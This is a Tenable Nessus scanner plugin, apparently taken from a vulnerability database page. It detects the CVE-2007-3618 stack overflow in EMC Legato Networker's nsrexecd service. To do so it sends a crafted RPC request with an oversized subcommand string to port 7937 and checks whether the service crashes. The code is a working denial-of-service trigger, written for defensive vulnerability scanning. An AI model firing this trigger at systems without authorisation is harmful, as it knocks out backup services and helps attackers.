Vulnerabilities > CVE-2007-3618 - Remote Exec Service Stack Buffer Overflow vulnerability in EMC Legato Networker

#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");

if(description)
{
  script_id(94163);
  script_version("1.6");
  script_cvs_date("Date: 2018/11/15 20:50:22");

  script_cve_id("CVE-2007-3618");
  script_bugtraq_id(25375);
  script_xref(name:"ZDI", value:"ZDI-07-049");
  script_xref(name:"TRA", value:"TRA-2007-06");

  script_name(english:"EMC Legato Networker Remote Exec Service Stack Overflow RCE");
  script_summary(english:"Attempts to terminate the nsrexecd process.");
 
  script_set_attribute(attribute:"synopsis", value:
"A backup application running on the remote host is affected by a
remote code execution vulnerability.");
 script_set_attribute(attribute:"description", value:
"The EMC Legato Networker application running on the remote host is
affected by a stack overflow condition in the Networker Remote Exec
Service (nsrexecd.exe), specifically within the sprintf() function,
when handling poll or kill requests. An unauthenticated, remote
attacker can exploit this, via a crafted request using a long invalid
subcmd, to execute arbitrary code.");
  script_set_attribute(attribute:"solution", value:
"Contact the vendor for an update as referenced in knowledge base
article esg83899.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-07-049/");

  script_set_attribute(attribute:"vuln_publication_date", value:"2007/08/20");
  script_set_attribute(attribute:"patch_publication_date", value:"2007/08/20");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/10/20");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:emc:networker");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"Gain a shell remotely");

  script_copyright(english:"This script is Copyright (C) 2016-2018 Tenable Network Security, Inc.");

  script_dependencies("legato_detect.nasl");
  script_require_keys("LegatoNetworker/installed");
  script_require_ports(7937); 

  exit(0);
}

include("audit.inc");
include("misc_func.inc");
include("global_settings.inc");
include("sunrpc_func.inc");
include("dump.inc");

# Check if Networker is running 
if(! get_kb_item("LegatoNetworker/installed"))
  audit(AUDIT_NOT_INST, "The EMC Legato Networker");

# EMC Networker Security Configuration Guide says
# fixed port 7937 is used for nsrexecd
port = 7937;
soc = open_sock_tcp (port);
if (!soc) audit(AUDIT_SOCK_FAIL, port); 

xid = rand();

# Overflow 0x100-byte stack buffer 
attack = crap(data:"A", length:0x200);

data = 
  xdr_long(xid) +                    # ?
  xdr_string("sn_sub_rqst") +        # attr name
  xdr_long(1) +                      # 1 = attr value follows
  xdr_string(attack) +               # first item in attr value list
  xdr_long(0) +                      # 0 = no more value items; 

  xdr_long(1) +                      # 1 = attr follows
  xdr_string("sn_cmd_str") +         # attr name
  xdr_long(1) +                      # 1 =  attr value follows 
  xdr_string("sn_cmd_str_value") +   # first item in attr value list 
  xdr_long(0) +                      # 0 = no more value items

  xdr_long(1) +                      # 1 = attr follows
  xdr_string("sn_timestamp") +       # attr name
  xdr_long(1) +                      # 1 =  attr value follows 
  xdr_string(string(unixtime())) +   # first item in attr value list 
  xdr_long(0) +                      # 0 = no more value items

  xdr_long(0);                       # 0 = no more attr        
      
pkt = rpc_packet(xid: xid, prog:0x5f3e1, proc:5, vers: 1, data: data);

send(socket: soc, data: pkt);
res = rpc_recv(socket: soc);
if(res) 
{
  if("dpoll: invalid subcmd " + substr(attack, 0, 15) >< res)
  {
    audit(AUDIT_HOST_NOT, "affected");
  }
  else
  {
    audit(AUDIT_RESP_BAD, port, 'a nsrexecd RPC call. Reply:\n' + hexdump(ddata:res)); 
  }
}
# No response: nsrexecd likely terminated
else
{
  if(service_is_dead(port: port))
  {
    security_report_v4(port:port, severity: SECURITY_HOLE);
  }
  else
  {
    exit(1, "Unexpected: nsrexecd should terminate but did not."); 
  }
}